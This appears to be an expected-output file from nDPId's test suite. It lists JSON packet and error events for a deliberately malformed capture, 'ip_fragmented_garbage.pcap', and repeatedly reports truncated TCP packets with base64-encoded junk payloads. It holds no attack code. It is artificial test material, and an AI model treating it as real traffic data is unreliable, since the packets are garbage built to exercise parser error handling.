-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955924} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955931} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955938} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955945} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955953} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955962} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955970} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955978} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955986} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955993} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956001} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956011} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956023} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956034} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956041} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956049} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956056} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956064} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956071} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956089} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956108} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956116} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956124} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956131} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956139} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956146} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956153} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956163} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956171} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956209} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956222} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956233} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956243} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956253} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956269} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":4672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956276} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956294} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956302} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956316} 